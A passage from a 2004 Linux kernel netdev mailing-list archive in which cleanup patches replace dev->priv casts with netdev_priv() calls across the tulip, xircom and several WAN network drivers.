tulip_mdio_read(struct net_device *dev, int phy_id, int location) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int i; int read_cmd = (0xf6 << 10) | ((phy_id & 0x1f) << 5) | location; int retval = 0; @@ -111,7 +111,7 @@ int tulip_mdio_read(struct net_device *d void tulip_mdio_write(struct net_device *dev, int phy_id, int location, int val) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int i; int cmd = (0x5002 << 16) | ((phy_id & 0x1f) << 23) | (location<<18) | (val & 0xffff); long ioaddr = dev->base_addr; @@ -171,7 +171,7 @@ void tulip_mdio_write(struct net_device void tulip_select_media(struct net_device *dev, int startup) { long ioaddr = dev->base_addr; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); struct mediatable *mtable = tp->mtable; u32 new_csr6; int i; @@ -374,7 +374,7 @@ void tulip_select_media(struct net_devic */ int tulip_check_duplex(struct net_device *dev) { - struct tulip_private *tp = dev->priv; + struct tulip_private *tp = netdev_priv(dev); unsigned int bmsr, lpa, negotiated, new_csr6; bmsr = tulip_mdio_read(dev, tp->phys[0], MII_BMSR); @@ -420,7 +420,7 @@ int tulip_check_duplex(struct net_device void __devinit tulip_find_mii (struct net_device *dev, int board_idx) { - struct tulip_private *tp = dev->priv; + struct tulip_private *tp = netdev_priv(dev); int phyn, phy_idx = 0; int mii_reg0; int mii_advert; diff -puN drivers/net/tulip/pnic2.c~net_tulip_casts drivers/net/tulip/pnic2.c --- linux-264-302-priv/drivers/net/tulip/pnic2.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/pnic2.c 2004-03-02 20:43:57.000000000 -0800 @@ -84,7 +84,7 @@ void pnic2_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 60*HZ; @@ -100,7 +100,7 @@ void pnic2_timer(unsigned long data) void pnic2_start_nway(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr14; int csr12; @@ -175,7 +175,7 @@ void pnic2_start_nway(struct net_device void pnic2_lnk_change(struct net_device *dev, int csr5) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr14; diff -puN drivers/net/tulip/pnic.c~net_tulip_casts drivers/net/tulip/pnic.c --- linux-264-302-priv/drivers/net/tulip/pnic.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/pnic.c 2004-03-02 20:33:51.000000000 -0800 @@ -20,7 +20,7 @@ void pnic_do_nway(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; u32 phy_reg = inl(ioaddr + 0xB8); u32 new_csr6 = tp->csr6 & ~0x40C40200; @@ -53,7 +53,7 @@ void pnic_do_nway(struct net_device *dev void pnic_lnk_change(struct net_device *dev, int csr5) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int phy_reg = inl(ioaddr + 0xB8); @@ -89,7 +89,7 @@ void pnic_lnk_change(struct net_device * void pnic_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 60*HZ; diff -puN drivers/net/tulip/timer.c~net_tulip_casts drivers/net/tulip/timer.c --- linux-264-302-priv/drivers/net/tulip/timer.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/timer.c 2004-03-02 20:43:05.000000000 -0800 @@ -20,7 +20,7 @@ void tulip_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; u32 csr12 = inl(ioaddr + CSR12); int next_tick = 2*HZ; @@ -135,7 +135,7 @@ void tulip_timer(unsigned long data) void mxic_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 60*HZ; @@ -152,7 +152,7 @@ void mxic_timer(unsigned long data) void comet_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 60*HZ; diff -puN drivers/net/tulip/tulip_core.c~net_tulip_casts drivers/net/tulip/tulip_core.c --- linux-264-302-priv/drivers/net/tulip/tulip_core.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/tulip_core.c 2004-03-02 20:36:35.000000000 -0800 @@ -276,7 +276,7 @@ static void tulip_set_power_state (struc static void tulip_up(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int next_tick = 3*HZ; int i; @@ -499,7 +499,7 @@ tulip_open(struct net_device *dev) static void tulip_tx_timeout(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; unsigned long flags; @@ -587,7 +587,7 @@ static void tulip_tx_timeout(struct net_ /* Initialize the Rx and Tx rings, along with various 'dev' bits. */ static void tulip_init_ring(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int i; tp->susp_rx = 0; @@ -638,7 +638,7 @@ static void tulip_init_ring(struct net_d static int tulip_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); int entry; u32 flag; dma_addr_t mapping; @@ -724,7 +724,7 @@ static void tulip_clean_tx_ring(struct t static void tulip_down (struct net_device *dev) { long ioaddr = dev->base_addr; - struct tulip_private *tp = (struct tulip_private *) dev->priv; + struct tulip_private *tp = netdev_priv(dev); unsigned long flags; del_timer_sync (&tp->timer); @@ -764,7 +764,7 @@ static void tulip_down (struct net_devic static int tulip_close (struct net_device *dev) { long ioaddr = dev->base_addr; - struct tulip_private *tp = (struct tulip_private *) dev->priv; + struct tulip_private *tp = netdev_priv(dev); int i; netif_stop_queue (dev); @@ -811,7 +811,7 @@ static int tulip_close (struct net_devic static struct net_device_stats *tulip_get_stats(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; if (netif_running(dev)) { @@ -830,7 +830,7 @@ static struct net_device_stats *tulip_ge static int netdev_ethtool_ioctl(struct net_device *dev, void *useraddr) { - struct tulip_private *np = dev->priv; + struct tulip_private *np = netdev_priv(dev); u32 ethcmd; if (copy_from_user(ðcmd, useraddr, sizeof(ethcmd))) @@ -855,7 +855,7 @@ static int netdev_ethtool_ioctl(struct n /* Provide ioctl() calls to examine the MII xcvr state. */ static int private_ioctl (struct net_device *dev, struct ifreq *rq, int cmd) { - struct tulip_private *tp = dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; const unsigned int phy_idx = 0; @@ -964,7 +964,7 @@ static int private_ioctl (struct net_dev static void build_setup_frame_hash(u16 *setup_frm, struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); u16 hash_table[32]; struct dev_mc_list *mclist; int i; @@ -995,7 +995,7 @@ static void build_setup_frame_hash(u16 * static void build_setup_frame_perfect(u16 *setup_frm, struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); struct dev_mc_list *mclist; int i; u16 *eaddrs; @@ -1023,7 +1023,7 @@ static void build_setup_frame_perfect(u1 static void set_rx_mode(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr6; @@ -1150,7 +1150,7 @@ static void set_rx_mode(struct net_devic static void __devinit tulip_mwi_config (struct pci_dev *pdev, struct net_device *dev) { - struct tulip_private *tp = dev->priv; + struct tulip_private *tp = netdev_priv(dev); u8 cache; u16 pci_command; u32 csr0; @@ -1373,7 +1373,7 @@ static int __devinit tulip_init_one (str * initialize private data structure 'tp' * it is zeroed and aligned in alloc_etherdev */ - tp = dev->priv; + tp = netdev_priv(dev); tp->rx_ring = pci_alloc_consistent(pdev, sizeof(struct tulip_rx_desc) * RX_RING_SIZE + @@ -1756,7 +1756,7 @@ static void __devexit tulip_remove_one ( if (!dev) return; - tp = dev->priv; + tp = netdev_priv(dev); pci_free_consistent (pdev, sizeof (struct tulip_rx_desc) * RX_RING_SIZE + sizeof (struct tulip_tx_desc) * TX_RING_SIZE, diff -puN drivers/net/tulip/xircom_cb.c~net_tulip_casts drivers/net/tulip/xircom_cb.c --- linux-264-302-priv/drivers/net/tulip/xircom_cb.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/xircom_cb.c 2004-03-02 20:46:11.000000000 -0800 @@ -178,7 +178,7 @@ static void print_binary(unsigned int nu static void netdev_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct xircom_private *private = dev->priv; + struct xircom_private *private = netdev_priv(dev); strcpy(info->driver, "xircom_cb"); strcpy(info->bus_info, pci_name(private->pdev)); @@ -235,7 +235,7 @@ static int __devinit xircom_probe(struct printk(KERN_ERR "xircom_probe: failed to allocate etherdev\n"); goto device_fail; } - private = dev->priv; + private = netdev_priv(dev); /* Allocate the send/receive buffers */ private->rx_buffer = pci_alloc_consistent(pdev,8192,&private->rx_dma_handle); @@ -312,7 +312,7 @@ device_fail: static void __devexit xircom_remove(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); - struct xircom_private *card = dev->priv; + struct xircom_private *card = netdev_priv(dev); enter("xircom_remove"); pci_free_consistent(pdev,8192,card->rx_buffer,card->rx_dma_handle); @@ -328,7 +328,7 @@ static void __devexit xircom_remove(stru static irqreturn_t xircom_interrupt(int irq, void *dev_instance, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_instance; - struct xircom_private *card = (struct xircom_private *) dev->priv; + struct xircom_private *card = netdev_priv(dev); unsigned int status; int i; @@ -385,7 +385,7 @@ static int xircom_start_xmit(struct sk_b int desc; enter("xircom_start_xmit"); - card = (struct xircom_private*)dev->priv; + card = netdev_priv(dev); spin_lock_irqsave(&card->lock,flags); /* First see if we can free some descriptors */ @@ -444,7 +444,7 @@ static int xircom_start_xmit(struct sk_b static int xircom_open(struct net_device *dev) { - struct xircom_private *xp = (struct xircom_private *) dev->priv; + struct xircom_private *xp = netdev_priv(dev); int retval; enter("xircom_open"); printk(KERN_INFO "xircom cardbus adaptor found, registering as %s, using irq %i \n",dev->name,dev->irq); @@ -466,7 +466,7 @@ static int xircom_close(struct net_devic unsigned long flags; enter("xircom_close"); - card = dev->priv; + card = netdev_priv(dev); netif_stop_queue(dev); /* we don't want new packets */ @@ -495,7 +495,7 @@ static int xircom_close(struct net_devic static struct net_device_stats *xircom_get_stats(struct net_device *dev) { - struct xircom_private *card = (struct xircom_private *)dev->priv; + struct xircom_private *card = netdev_priv(dev); return &card->stats; } _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:20:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:20:56 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LKjKO019233 for ; Thu, 4 Mar 2004 13:20:46 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LKeE29317 for ; Thu, 4 Mar 2004 13:20:40 -0800 Date: Thu, 4 Mar 2004 13:19:48 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/wan drivers Message-Id: <20040304131948.36158994.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3751 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 20168 Lines: 576 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/wan/comx-hw-locomx.c | 22 +++--- linux-264-302-priv-rddunlap/drivers/net/wan/comx-hw-munich.c | 32 ++++---- linux-264-302-priv-rddunlap/drivers/net/wan/comx.c | 40 +++++------ linux-264-302-priv-rddunlap/drivers/net/wan/cosa.c | 20 ++--- linux-264-302-priv-rddunlap/drivers/net/wan/lapbether.c | 10 +- 5 files changed, 62 insertions(+), 62 deletions(-) diff -puN drivers/net/wan/comx.c~net_wan_casts drivers/net/wan/comx.c --- linux-264-302-priv/drivers/net/wan/comx.c~net_wan_casts 2004-03-03 09:12:10.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wan/comx.c 2004-03-03 09:30:17.000000000 -0800 @@ -119,7 +119,7 @@ struct comx_debugflags_struct comx_debug int comx_debug(struct net_device *dev, char *fmt, ...) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); char *page,*str; va_list args; int len; @@ -162,7 +162,7 @@ int comx_debug(struct net_device *dev, c int comx_debug_skb(struct net_device *dev, struct sk_buff *skb, char *msg) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (!ch->debug_area) return 0; if (!skb) comx_debug(dev, "%s: %s NULL skb\n\n", dev->name, msg); @@ -175,7 +175,7 @@ int comx_debug_bytes(struct net_device * char *msg) { int pos = 0; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (!ch->debug_area) return 0; @@ -207,7 +207,7 @@ int comx_debug_bytes(struct net_device * static void comx_loadavg_timerfun(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); ch->avg_bytes[ch->loadavg_counter] = ch->current_stats->rx_bytes; ch->avg_bytes[ch->loadavg_counter + ch->loadavg_size] = @@ -222,7 +222,7 @@ static void comx_loadavg_timerfun(unsign static void comx_reset_timerfun(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if(!(ch->line_status & (PROTO_LOOP | PROTO_UP))) { if(test_and_set_bit(0,&ch->reset_pending) && ch->HW_reset) { @@ -236,7 +236,7 @@ static void comx_reset_timerfun(unsigned static int comx_open(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct proc_dir_entry *comxdir = ch->procdir->subdir; int ret=0; @@ -268,7 +268,7 @@ static int comx_open(struct net_device * static int comx_close(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct proc_dir_entry *comxdir = ch->procdir->subdir; int ret = -ENODEV; @@ -303,7 +303,7 @@ static int comx_close(struct net_device void comx_status(struct net_device *dev, int status) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); #if 0 if(status & (PROTO_UP | PROTO_LOOP)) { @@ -321,7 +321,7 @@ void comx_status(struct net_device *dev, static int comx_xmit(struct sk_buff *skb, struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); int rc; if (skb->len > dev->mtu + dev->hard_header_len) { @@ -342,7 +342,7 @@ static int comx_xmit(struct sk_buff *skb static int comx_header(struct sk_buff *skb, struct net_device *dev, unsigned short type, void *daddr, void *saddr, unsigned len) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (ch->LINE_header) { return (ch->LINE_header(skb, dev, type, daddr, saddr, len)); @@ -354,7 +354,7 @@ static int comx_header(struct sk_buff *s static int comx_rebuild_header(struct sk_buff *skb) { struct net_device *dev = skb->dev; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (ch->LINE_rebuild_header) { return(ch->LINE_rebuild_header(skb)); @@ -365,7 +365,7 @@ static int comx_rebuild_header(struct sk int comx_rx(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (ch->debug_flags & DEBUG_COMX_RX) { comx_debug_skb(dev, skb, "comx_rx skb"); @@ -379,7 +379,7 @@ int comx_rx(struct net_device *dev, stru static struct net_device_stats *comx_stats(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); return ch->current_stats; } @@ -387,7 +387,7 @@ static struct net_device_stats *comx_sta void comx_lineup_func(unsigned long d) { struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); del_timer(&ch->lineup_timer); clear_bit(0, &ch->lineup_pending); @@ -405,7 +405,7 @@ void comx_lineup_func(unsigned long d) static int comx_statistics(struct net_device *dev, char *page) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); int len = 0; int tmp; int i = 0; @@ -472,7 +472,7 @@ static int comx_statistics(struct net_de static int comx_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); if (ch->LINE_ioctl) { return(ch->LINE_ioctl(dev, ifr, cmd)); @@ -535,7 +535,7 @@ static int comx_read_proc(char *page, ch { struct proc_dir_entry *file = (struct proc_dir_entry *)data; struct net_device *dev = file->parent->data; - struct comx_channel *ch=(struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); int len = 0; if (strcmp(file->name, FILENAME_STATUS) == 0) { @@ -599,7 +599,7 @@ static int comx_write_proc(struct file * { struct proc_dir_entry *entry = (struct proc_dir_entry *)data; struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch=(struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); char *page; struct comx_hardware *hw = comx_channels; struct comx_protocol *line = comx_lines; @@ -821,7 +821,7 @@ static int comx_mkdir(struct inode *dir, if (register_netdevice(dev)) { goto cleanup_filename_debug; } - ch=dev->priv; + ch = netdev_priv(dev); if((ch->if_ptr = (void *)kmalloc(sizeof(struct ppp_device), GFP_KERNEL)) == NULL) { goto cleanup_register; @@ -874,7 +874,7 @@ static int comx_rmdir(struct inode *dir, lock_kernel(); dev = entry->data; - ch = dev->priv; + ch = netdev_priv(dev); if (dev->flags & IFF_UP) { printk(KERN_ERR "%s: down interface before removing it\n", dev->name); unlock_kernel(); diff -puN drivers/net/wan/comx-hw-locomx.c~net_wan_casts drivers/net/wan/comx-hw-locomx.c --- linux-264-302-priv/drivers/net/wan/comx-hw-locomx.c~net_wan_casts 2004-03-03 09:12:10.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wan/comx-hw-locomx.c 2004-03-03 09:42:59.000000000 -0800 @@ -77,7 +77,7 @@ struct locomx_data { static int LOCOMX_txe(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct locomx_data *hw = ch->HW_privdata; return (!hw->board.chanA.tx_next_skb); @@ -86,8 +86,8 @@ static int LOCOMX_txe(struct net_device static void locomx_rx(struct z8530_channel *c, struct sk_buff *skb) { - struct net_device *dev=c->netdevice; - struct comx_channel *ch=dev->priv; + struct net_device *dev = c->netdevice; + struct comx_channel *ch = netdev_priv(dev); if (ch->debug_flags & DEBUG_HW_RX) { comx_debug_skb(dev, skb, "locomx_rx receiving"); @@ -97,7 +97,7 @@ static void locomx_rx(struct z8530_chann static int LOCOMX_send_packet(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct locomx_data *hw = ch->HW_privdata; if (ch->debug_flags & DEBUG_HW_TX) { @@ -126,9 +126,9 @@ static int LOCOMX_send_packet(struct net static void locomx_status_timerfun(unsigned long d) { - struct net_device *dev=(struct net_device *)d; - struct comx_channel *ch=dev->priv; - struct locomx_data *hw=ch->HW_privdata; + struct net_device *dev = (struct net_device *)d; + struct comx_channel *ch = netdev_priv(dev); + struct locomx_data *hw = ch->HW_privdata; if(!(ch->line_status & LINE_UP) && (hw->board.chanA.status & CTS)) { @@ -144,7 +144,7 @@ static void locomx_status_timerfun(unsig static int LOCOMX_open(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct locomx_data *hw = ch->HW_privdata; struct proc_dir_entry *procfile = ch->procdir->subdir; unsigned long flags; @@ -256,7 +256,7 @@ irq_fail: static int LOCOMX_close(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct locomx_data *hw = ch->HW_privdata; struct proc_dir_entry *procfile = ch->procdir->subdir; @@ -376,7 +376,7 @@ static int locomx_write_proc(struct file static int LOCOMX_init(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct locomx_data *hw; struct proc_dir_entry *new_file; @@ -449,7 +449,7 @@ cleanup_HW_privdata: static int LOCOMX_exit(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); ch->HW_access_board = NULL; ch->HW_release_board = NULL; diff -puN drivers/net/wan/comx-hw-munich.c~net_wan_casts drivers/net/wan/comx-hw-munich.c --- linux-264-302-priv/drivers/net/wan/comx-hw-munich.c~net_wan_casts 2004-03-03 09:12:10.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wan/comx-hw-munich.c 2004-03-03 09:32:01.000000000 -0800 @@ -373,7 +373,7 @@ static munich_board_t pcicom_boards[MAX_ void rework_idle_channels(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; munich_board_t *board = slicecom_boards + hw->boardnum; munich_ccb_t *ccb = board->ccb; @@ -731,7 +731,7 @@ static void pcicom_modemline(unsigned lo { munich_board_t *board = (munich_board_t *) b; struct net_device *dev = board->twins[0]; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); unsigned long regs; regs = readl((void *)(&board->bar1[GPDATA])); @@ -765,7 +765,7 @@ static void pcicom_modemline(unsigned lo static int MUNICH_txe(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; return (hw->busy < TX_DESC_MAX - 1); @@ -905,7 +905,7 @@ static int munich_probe(void) #if 0 static int slicecom_reset(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); printk("slicecom_reset: resetting the hardware\n"); @@ -933,7 +933,7 @@ static int slicecom_reset(struct net_dev static int MUNICH_send_packet(struct net_device *dev, struct sk_buff *skb) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; /* Send it to the debug facility too if needed: */ @@ -1085,7 +1085,7 @@ static irqreturn_t MUNICH_interrupt(int goto go_for_next_interrupt; } - ch = (struct comx_channel *)dev->priv; + ch = netdev_priv(dev); hw = (struct slicecom_privdata *)ch->HW_privdata; // printk("Rx STAT=0x%08x int_info=0x%08x rx_desc_ptr=%d rx_desc.status=0x%01x\n", @@ -1125,7 +1125,7 @@ static irqreturn_t MUNICH_interrupt(int if (dev != NULL) { - ch = (struct comx_channel *)dev->priv; + ch = netdev_priv(dev); hw = (struct slicecom_privdata *)ch->HW_privdata; rx_status = hw->rx_desc[hw->rx_desc_ptr].status; @@ -1261,7 +1261,7 @@ static irqreturn_t MUNICH_interrupt(int goto go_for_next_tx_interrupt; } - ch = (struct comx_channel *)dev->priv; + ch = netdev_priv(dev); hw = (struct slicecom_privdata *)ch->HW_privdata; // printk("Tx STAT=0x%08x int_info=0x%08x tiq_ptr=%d\n", stat, int_info.all, board->tiq_ptr ); @@ -1295,7 +1295,7 @@ static irqreturn_t MUNICH_interrupt(int { int newbusy; - ch = (struct comx_channel *)dev->priv; + ch = netdev_priv(dev); hw = (struct slicecom_privdata *)ch->HW_privdata; /* We don't trust the "Tx available" info from the TIQ, but check */ @@ -1398,7 +1398,7 @@ static irqreturn_t MUNICH_interrupt(int static int MUNICH_open(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; struct proc_dir_entry *procfile = ch->procdir->subdir; munich_board_t *board; @@ -1891,7 +1891,7 @@ static int MUNICH_open(struct net_device static int MUNICH_close(struct net_device *dev) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; struct proc_dir_entry *procfile = ch->procdir->subdir; munich_board_t *board; @@ -2028,7 +2028,7 @@ static int MUNICH_close(struct net_devic static int MUNICH_minden(struct net_device *dev, char *page) { - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; munich_board_t *board; struct net_device *devp; @@ -2290,7 +2290,7 @@ static int munich_read_proc(char *page, { struct proc_dir_entry *file = (struct proc_dir_entry *)data; struct net_device *dev = file->parent->data; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; munich_board_t *board; @@ -2388,7 +2388,7 @@ static int munich_write_proc(struct file { struct proc_dir_entry *entry = (struct proc_dir_entry *)data; struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch = dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw = ch->HW_privdata; munich_board_t *board; @@ -2656,7 +2656,7 @@ static int init_escape(struct comx_chann static int BOARD_init(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); struct slicecom_privdata *hw; struct proc_dir_entry *new_file; @@ -2772,7 +2772,7 @@ static int BOARD_init(struct net_device */ static int BOARD_exit(struct net_device *dev) { - struct comx_channel *ch = (struct comx_channel *)dev->priv; + struct comx_channel *ch = netdev_priv(dev); /* Free private data area */ // board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); diff -puN drivers/net/wan/cosa.c~net_wan_casts drivers/net/wan/cosa.c --- linux-264-302-priv/drivers/net/wan/cosa.c~net_wan_casts 2004-03-03 09:12:10.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/wan/cosa.c 2004-03-03 09:26:33.000000000 -0800 @@ -639,7 +639,7 @@ static void sppp_channel_delete(struct c static int cosa_sppp_open(struct net_device *d) { - struct channel_data *chan = d->priv; + struct channel_data *chan = netdev_priv(d); int err; unsigned long flags; @@ -679,7 +679,7 @@ static int cosa_sppp_open(struct net_dev static int cosa_sppp_tx(struct sk_buff *skb, struct net_device *dev) { - struct channel_data *chan = dev->priv; + struct channel_data *chan = netdev_priv(dev); netif_stop_queue(dev); @@ -690,7 +690,7 @@ static int cosa_sppp_tx(struct sk_buff * static void cosa_sppp_timeout(struct net_device *dev) { - struct channel_data *chan = dev->priv; + struct channel_data *chan = netdev_priv(dev); if (test_bit(RXBIT, &chan->cosa->rxtx)) { chan->stats.rx_errors++; @@ -709,7 +709,7 @@ static void cosa_sppp_timeout(struct net static int cosa_sppp_close(struct net_device *d) { - struct channel_data *chan = d->priv; + struct channel_data *chan = netdev_priv(d); unsigned long flags; netif_stop_queue(d); @@ -789,7 +789,7 @@ static int sppp_tx_done(struct channel_d static struct net_device_stats *cosa_net_stats(struct net_device *dev) { - struct channel_data *chan = dev->priv; + struct channel_data *chan = netdev_priv(dev); return &chan->stats; } @@ -807,7 +807,7 @@ static ssize_t cosa_read(struct file *fi { DECLARE_WAITQUEUE(wait, current); unsigned long flags; - struct channel_data *chan = (struct channel_data *)file->private_data; + struct channel_data *chan = file->private_data; struct cosa_data *cosa = chan->cosa; char *kbuf; @@ -881,7 +881,7 @@ static ssize_t cosa_write(struct file *f const char *buf, size_t count, loff_t *ppos) { DECLARE_WAITQUEUE(wait, current); - struct channel_data *chan = (struct channel_data *)file->private_data; + struct channel_data *chan = file->private_data; struct cosa_data *cosa = chan->cosa; unsigned long flags; char *kbuf; @@ -990,7 +990,7 @@ static int cosa_open(struct inode *inode static int cosa_release(struct inode *inode, struct file *file) { - struct channel_data *channel = (struct channel_data *)file->private_data; + struct channel_data *channel = file->private_data; struct cosa_data *cosa; unsigned long flags; @@ 